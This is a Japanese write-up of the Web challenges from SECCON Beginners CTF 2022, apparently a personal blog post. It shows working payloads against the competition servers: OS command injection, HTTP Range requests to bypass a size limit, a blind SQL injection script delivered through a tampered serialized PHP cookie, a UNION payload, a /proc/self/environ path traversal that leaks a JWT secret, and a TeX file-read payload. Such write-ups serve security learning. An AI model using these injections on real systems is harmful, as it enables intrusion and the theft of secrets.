SECCON Beginners CTF 2022 Web writeup
#ctf4b お疲れ様でした~!
— よーでん (@y0d3n) 2022年6月5日
IPFactoryで出場して64位でした!
チームメイトの力を借りながらではあるけど、Webは埋めれたので良かった。。 pic.twitter.com/6tAbF4YeQJ
チームメイトの力を借りながらではありますが、去年に引き続きWebを埋めることができて良かったです。
去年より格段に難しかったなと思います。(去年はmagicが自分の作問stackにあったというのもあるが・・・)
自分はWebでtextex以外のflagを通したので、それらのwriteupを書いていきます。
Util - 54pt (Rank 2/460)
ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?
(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
アクセスするとpingしてくれそうなページ。
BeginnerでpingならOS Command injectionだろうとということで127.0.0.1 | ls
とか入れたくなるが、「Invalid IP address」と言われてしまう。
jsで入力チェックをしていた。
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
クライアント側でしかvalidationされていないので、よしなに改ざんする。
OS Command injectionできている。
同様にls /
を実行すると以下のような結果になる。
{"result":"app\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
flagのファイル名が判明するので、cat /flag_A74FIBkN9sELAjOc.txt
すればflagが手に入る。
{"result":"ctf4b{al1_0vers_4re_i1l}\n"}
ctf4b{al1_0vers_4re_i1l}
gallery - 83pt (Rank 62/156)
絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?
仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?
事後報告、LGTMのスタンプがgif, jpeg, pngで用意されていて、
https://[url]/?file_extension=gif
でgifのファイルを絞り込むことができる。
それぞれのスタンプは/images/jigohoukoku.gif
のようなパスで開ける。
絞り込みの仕組みとしては、file_extensionに指定した文字が含まれているかどうかでやっているっぽい。
for _, file := range files { if !strings.Contains(file.Name(), fileExtension) { continue } res = append(res, file.Name()) }
適当にfile_extension=f
にしたらflagのファイル名が判明した。
ということで/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
にアクセスしたいが、middlewareによってファイルサイズに制限がかかっている。
func (w *MyResponseWriter) Write(data []byte) (int, error) { filledVal := []byte("?") length := len(data) if length > w.lengthLimit { w.ResponseWriter.Write(bytes.Repeat(filledVal, length)) return length, nil } w.ResponseWriter.Write(data[:length]) return length, nil } func middleware() func(http.Handler) http.Handler { return func(h http.Handler) http.Handler { return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { h.ServeHTTP(&MyResponseWriter{ ResponseWriter: rw, lengthLimit: 10240, // SUPER SECURE THRESHOLD }, r) }) } }
/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
にアクセスすると16085個の?
が返ってくる。
ファイルサイズの制限を避けてGETしたい。
ちょっとかんがえていたら、この間読んだ「HTTPの教科書」という本にRangeというヘッダーが書いてあったことを思い出した。
HTTPヘッダにRange: bytes=0-10000
とつけてリクエストしたらpdfっぽいのが10001byte分返ってきた。
同様に10001-20000
でGETしたらEOFがでてきた。
二つをburpからcopy as curl、結合してpdfにする。
$ curl -s -k -X $'GET' -H $'Host: gallery.quals.beginners.seccon.jp' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: ja,en-US;q=0.7,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://gallery.quals.beginners.seccon.jp/?file_extension=pdf' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' -H $'Te: trailers' -H $'Connection: close' -H $'Content-Length: 0' -H $'Range: bytes=0-10000' $'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > mae $ curl -s -k -X $'GET' -H $'Host: gallery.quals.beginners.seccon.jp' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: ja,en-US;q=0.7,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://gallery.quals.beginners.seccon.jp/?file_extension=pdf' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' -H $'Te: trailers' -H $'Connection: close' -H $'Range: bytes=10001-20000' $'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' > usiro $ cat mae usiro > a.pdf
ctf4b{r4nge_reque5t_1s_u53fu1!}
serial - 109pt (Rank 35/83)
フラッグは flags テーブルの中にあるよ。ゲットできるかな?
アクセスするとログインフォーム。
問題文からしてSQLiだと思うが、とりあえずログインするとtodoリストだった。
database.phpとかいういかにもなファイルからSQLiできそうなところを探すと、findUserByName
だけSQLを文字列結合でやっていた。
<?php : public function findUserByName($user = null) { if (!isset($user->name)) { throw new Exception('invalid user name: ' . $user->user); } $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1"; $result = $this->_con->query($sql); if (!$result) { throw new Exception('failed query for findUserByNameOld ' . $sql); } while ($row = $result->fetch_assoc()) { $user = new User($row['id'], $row['name'], $row['password_hash']); } return $user; }
findUserByName
を呼び出してるところを探してみると、users.phpが使えそうだとわかる。
<?php : function login() { if (empty($_COOKIE["__CRED"])) { return false; } $user = unserialize(base64_decode($_COOKIE['__CRED'])); // check if the given user exists try { $db = new Database(); $storedUser = $db->findUserByName($user); } catch (Exception $e) { die($e->getMessage()); } // var_dump($user); // var_dump($storedUser); if ($user->password_hash === $storedUser->password_hash) { // update stored user with latest information // die($storedUser); setcookie("__CRED", base64_encode(serialize($storedUser))); return true; } return false; }
Cookieからunserialize
してfindUserByName
を呼び出している。
unserialize
もただやってるだけなので、Cookieを書き換えれば反映される。
適当にログインしたときのCookieが以下。
Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjI6IjE5IjtzOjQ6Im5hbWUiO3M6NToieW9kZW4iO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCQyek5YNU1relVtaS44T2FsWWp0a1RlZlEzTHA0a0RQMDlSaWFGR3FjbjhFamRLaHk1djdaQyI7fQ%3D%3D
URLデコードしてbase64デコードする。
O:4:"User":3:{s:2:"id";s:2:"19";s:4:"name";s:5:"yoden";s:13:"password_hash";s:60:"$2y$10$2zNX5MkzUmi.8OalYjtkTefQ3Lp4kDP09RiaFGqcn8EjdKhy5v7ZC";}
s:5:"yoden";
の部分を s:1:"'";
に書き換えてbase64エンコード・URLエンコードしてアクセスするとエラーが返ってくる。
failed query for findUserByNameOld SELECT id, name, password_hash FROM users WHERE name = ''' LIMIT 1
あとはSQL injectionしていく。
自分はBlindだと思い込んでsleepさせたが、結構普通に解ける様だった。
import base64 import requests import urllib.parse from string import Template, ascii_lowercase, ascii_uppercase abc = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~""" template = """O:4:"User":3:{s:2:"id";s:4:"3280";s:4:"name";s:80:"a' and 1=(select if(substring((select body from flags),$idx,1)='$flg',sleep(1),'a'));#";s:13:"password_hash";s:60:"$2y$10$s1v1vH34usRHYipKkUgrA./Lg3bnIycLhkLzquAjjWoV69RqA4mja";}""" # ^ $idxが二桁になったら81にする flag = "ctf4b{" for i in abc: print("\r"+ i, end="") requests.get("https://[url]/", cookies={"__CRED":urllib.parse.quote(base64.b64encode(Template(template).safe_substitute(idx=len(flag)+1,flg=i).encode()))})
実行すればS
で遅延する。しばーらく返ってこないので都度Ctrl+Cして実行しなおすのが速かった。
半自動でしばらく繰り返してflagゲット。
ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}
作問者writeupを読んだら、以下のようにやればCookieにセットされたらしい。たしかに。。。。。。。。。
' UNION SELECT 'hoge', body, '$2y$10$2zNX5MkzUmi.8OalYjtkTefQ3Lp4kDP09RiaFGqcn8EjdKhy5v7ZC' FROM flags --
Ironhand - 147pt (Rank 26/42)
Treadstone、Blackbriar、そして...?
アクセスするとログインフォーム。
適当なユーザ名でログインすると、「Sorry, I can't give you the FLAG. If you want the FLAG, please login as admin user.」と言われる。
ソースを読むと、jwtでroleを管理している様だ。
jwt内のIsAdminがtrueになるとflagが得れる。
if claims.IsAdmin { res, _ := http.Get("http://secret") flag, _ := ioutil.ReadAll(res.Body) if err := res.Body.Close(); err != nil { return c.String(http.StatusInternalServerError, "Internal Server Error") } return c.Render(http.StatusOK, "admin", map[string]interface{}{ "username": claims.Username, "flag": string(flag), }) }
jwtパッケージもちゃんとしたのを使っていて、alg: noneとかはできない。
secretは環境変数に入っている。
そのほかにもgoを読んでいると、/static/
のルーティングを奇妙な方法で実装しているのに気づいた。
e.GET("/static/:file", func(c echo.Context) error { path, _ := url.QueryUnescape(c.Param("file")) f, err := ioutil.ReadFile("static/" + path) if err != nil { return c.String(http.StatusNotFound, "No such file") } return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f)) })
ioutil.ReadFile("static/" + path)
の部分、ディレクトリトラバーサルができる。
このまま環境変数見れるかと思ったが、/static/../../proc/self/environ
ではBad Requestになる。
どうにかしてsecretの漏洩できないかなとしばらくソースを眺めていたら、nginxのdefault.confに怪しげな一行が。
merge_slashes off;
いかにも//
を使って欲しそうな設定だ。
/static//../../proc/self/environ
で環境変数が取れた。
secretがU6hHFZEzYGwLEezWHMjf3QM83Vn2D13d
であるとわかるので、あとはIsAdmin: trueのjwtを作ればflag。
ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}
おまけ textex
texを書いたことがなかったこともあってtextexがwebで一番最後まで残ってたのですが、ローカルで解けるこまでは自分がやってました。
\documentclass[]{article} \begin{document} \newread\file \openin\file="fl""ag" \read\file to \line \line \closein\file \end{document}
これを問題サーバに投げるとエラーになります。
どうしても中括弧がうまく処理できず、何時間もtexとにらめっこしていたらチームメイトが解いてくれたので助かりました・・・